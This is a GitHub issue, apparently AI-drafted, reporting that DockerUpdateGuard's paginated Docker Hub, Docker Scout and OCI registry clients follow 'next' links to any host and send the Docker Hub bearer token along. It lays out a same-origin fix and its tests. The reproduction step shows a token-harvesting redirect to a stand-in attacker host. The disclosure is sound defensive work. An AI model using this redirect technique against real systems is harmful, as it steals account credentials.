[BUG] Pagination links are followed to any host, sending the Docker Hub bearer token along #264

Summary

Three paginated calls follow the "next page" link exactly as the remote side returns it, to any scheme, host and port: the Docker Hub web API (next in the JSON body), the generic OCI tag listing (Link: <…>; rel="next" header) and Docker Scout (next in the JSON body). Docker Hub and Docker Scout attach the Docker Hub bearer token, a JWT obtained by logging in with the configured PAT, to every page request. A malicious or compromised upstream, a misconfigured proxy, or anyone who can tamper with a response can redirect pagination to an attacker-controlled host and harvest a token that acts on the operator's Docker Hub account. It also lets a registry steer DockerUpdateGuard into requests against arbitrary (including internal) hosts.

Area

• docs/areas/registries.md (added in [Docs] Describe the current behavior by area #263): What can be read (tag listing) and Docker Hub account discovery
• docs/areas/vulnerabilities.md (added in [Docs] Describe the current behavior by area #263): Docker Scout
• Security areas (.squad/project.md): Registry and Docker Hub calls (DockerHubClient, OciRegistryClient, DockerScoutVulnerabilityProvider) and Secrets in configuration (Docker Hub PAT and the token derived from it)

Current behavior

Docker Hub web API: src/DockerUpdateGuard/DockerHub/DockerHubClient.cs

• GetRepositoriesAsync (account discovery) sets requestUri = TryGetString(jsonDocument.RootElement, "next"); (:1117); GetTagsAsync does the same (:1285-1290).
• Each page goes through SendGetAsync (:831-842), which calls ApplyAuthenticationAsync (:873-904) and sets Authorization: Bearer <Docker Hub JWT> whenever DockerHub:Pat is set. new HttpRequestMessage(HttpMethod.Get, relativeUri) with an absolute URI ignores the client's BaseAddress, so the request (and the token) goes to whatever host next names.

Docker Scout: src/DockerUpdateGuard/Vulnerabilities/DockerScoutVulnerabilityProvider.cs

• FetchVulnerabilitiesAsync starts at DockerScoutBaseUrl (:302-305), then uses nextUrl = scoutResponse?.Next; (:348) unchecked. Every page sets Authorization: Bearer <jwtToken> (:319-321), where jwtToken is the token returned by the Docker Hub login with user name and PAT. The 50-page cap (MaxVulnerabilityPages) only limits the count, not the target.

Generic OCI registries: src/DockerUpdateGuard/Images/OciRegistryClient.cs

• GetNextTagsUri (:641-672) returns any absolute link target as is (:658-661); GetTagsAsync follows it (:1305) through SendRegistryRequestAsync.
• Registry tokens are cached per requestUri.Authority and repository (GetTokenCacheKey, :526-529), so the original registry's token is not attached to a foreign host. But the request still goes to the foreign host, a 401 there triggers an anonymous token request to the realm that host names, and the tag names it returns are inspected as if they came from the original registry.

Reproduction (Docker Hub, account discovery): configure DockerHub:UserName and DockerHub:Pat; let the first GET v2/repositories/<user>/?page_size=100 response carry "next": "https://attacker.example/collect" (for example via a test HttpMessageHandler, or a man-in-the-middle proxy that the operator trusts). The next request goes to https://attacker.example/collect with Authorization: Bearer <Docker Hub JWT>. The same works for GetTagsAsync and for Docker Scout with "next" in the vulnerabilities response.

Expected behavior

Decision (product manager): pagination follows only links on the same origin as the original request, that is the same scheme, host and port (host compared case-insensitively, default ports normalized), or as the configured base URL of the integration. Otherwise pagination stops and the call reports failed. Credentials are never sent to another host.

• Origin per call:
  • Docker Hub web API: the origin of the client's base address (DockerHub:ApiBaseUrl; see the related issue on DockerHub:Registry).
  • Docker Scout: the origin of Vulnerabilities:DockerScoutBaseUrl.
  • OCI registry: the origin of the first tag-listing request (the registry the image reference names).
• A relative link (for example /v2/<repo>/tags/list?n=100&last=x, which the OCI spec allows) is resolved against the URI of the current request and is then subject to the same check.
• A link on another origin, a scheme change (also https → http) or an unparseable link: no request is sent, pagination stops, and the call answers ExternalOperationResult.Failed with a message naming the call, the repository/account/image, and that the next-page link pointed to a different origin. The message may name the offending host but never contains tokens, credentials or the full query string.
• The rejection is logged as a warning, through the existing source-generated logging classes, without credentials.
• Partial results collected before the rejection are not returned as succeeded: a truncated tag list could hide updates, and for Docker Scout a failed assessment leaves the stored findings untouched (docs/areas/vulnerabilities.md, Assessment per image version).
• Same-origin links keep working exactly as today, including the Docker Scout 50-page cap and the bounded-listing stop conditions.

Acceptance criteria

• DockerHubClient.GetTagsAsync and GetRepositoriesAsync stop at a next link with a different host, port or scheme, send no request to it, and return Failed; the test handler asserts that no request reached the foreign host and that no request with an Authorization header left the configured origin.
• DockerScoutVulnerabilityProvider.GetVulnerabilitiesAsync behaves the same for a cross-origin next link and returns Failed.
• OciRegistryClient.GetTagsAsync returns Failed for an absolute Link: rel="next" target on another origin and follows a relative link and a same-origin absolute link as before.
• A https → http downgrade on the same host is rejected.
• Failure messages contain no token, PAT or Authorization value (asserted in the tests).
• Unit tests (MSTest, NSubstitute or a hand-written HttpMessageHandler stub, names per docs/UNIT_TESTS.md), for example DockerHubClientGetTagsCrossOriginNextLinkReturnsFailed, DockerHubClientGetRepositoriesCrossOriginNextLinkReturnsFailed, DockerHubClientGetTagsSameOriginNextLinkFollowsLink, DockerScoutVulnerabilityProviderCrossOriginNextLinkReturnsFailed, OciRegistryClientGetTagsCrossOriginLinkHeaderReturnsFailed, OciRegistryClientGetTagsRelativeLinkHeaderFollowsLink, and tests for the shared origin-check helper (case, default port, scheme downgrade, relative link).
• Format, build, tests, Analyzer gate and Coverage gate from .squad/stack.md pass.
• The area documents docs/areas/registries.md and docs/areas/vulnerabilities.md describe the new behavior and their Known gaps entries for this issue are removed.

Implementation notes

• Put the origin check into one small internal helper (for example PaginationLinkGuard in src/DockerUpdateGuard/Infrastructure/) that takes the current request URI, the allowed origin and the raw link, and returns the resolved Uri or null. Use it in the three call sites; this keeps the rule identical and testable on its own.
• Docker Hub: compare against the origin of _httpClient.BaseAddress (set from DockerHubClient.GetBaseUri). Docker Hub itself returns absolute https://hub.docker.com/v2/... links, so the default configuration keeps working. Pitfall: an operator who sets ApiBaseUrl to a mirror or proxy gets failed listings if the proxy does not rewrite next links to its own origin. That is intended (no credentials cross-host) and should be stated in the area document and README entry for ApiBaseUrl.
• Docker Scout: today a relative next would throw InvalidOperationException (the client created by IHttpClientFactory.CreateClient() has no BaseAddress) and become "Docker Scout scan failed: …". Resolve relative links against the current request URI instead.
• OCI: GetNextTagsUri already resolves relative links against CreateRegistryUri(registry, string.Empty). Note that GetTagsAsync works with NormalizeRegistry(registry), which drops the scheme and base path of an absolute registry URL; derive the allowed origin from the actual first request URI so the check matches what was really requested.
• Do not rely on HttpClientHandler redirect behavior for this: the problem is application-level link following, not HTTP 3xx.
• Out of scope: the realm of a WWW-Authenticate: Bearer challenge (OCI token service on another host is legitimate and is requested anonymously); HTTP redirects.
• Must not change: integration clients answer with ExternalOperationResult<T> and never throw for expected failures (.squad/project.md, Guarantees); the PAT and tokens never appear in logs or messages (Secrets in configuration).
• No configuration or migration impact.

Related

• F-009 (P1) — DockerHub access token cache tied to scope lifetime #25 and F-045 (P6) — Two DockerHubClient instances per scope → duplicated token cache (amplifies F-009) #6 (Docker Hub token cache scope and instances; the token at risk here)
• PR [Docs] Describe the current behavior by area #263 (area documents)

Generated by Claude Code